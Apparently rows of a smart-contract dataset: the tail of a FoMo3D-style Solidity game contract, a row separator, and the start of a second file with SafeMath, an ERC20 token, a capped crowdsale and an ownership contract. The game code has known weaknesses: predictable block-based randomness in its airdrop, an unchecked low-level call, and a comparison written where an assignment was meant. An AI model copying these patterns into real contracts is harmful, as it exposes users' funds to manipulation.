F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(25)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _eth, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _affID, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(25)) / 100;
uint256 _com = (_pot.mul(3)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _eth, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = (_eth.mul(3)) / 100;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _aff = (_eth.mul(15)) / 100;
_eth = _eth.sub(((_eth.mul(18)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_gen = _gen.add(_aff);
}
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Free already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,591 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TokenCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public tokenCap;
uint256 public soldTokens;
constructor(uint256 _tokenCap) public {
require(_tokenCap > 0, "Token Cap should be greater than zero");
tokenCap = _tokenCap;
}
function tokenCapReached() public view returns (bool) {
return soldTokens >= tokenCap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(
soldTokens.add(_getTokenAmount(_weiAmount)) <= tokenCap,
"Can't sell more than token cap tokens"
);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
soldTokens = soldTokens.add(_getTokenAmount(_weiAmount));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
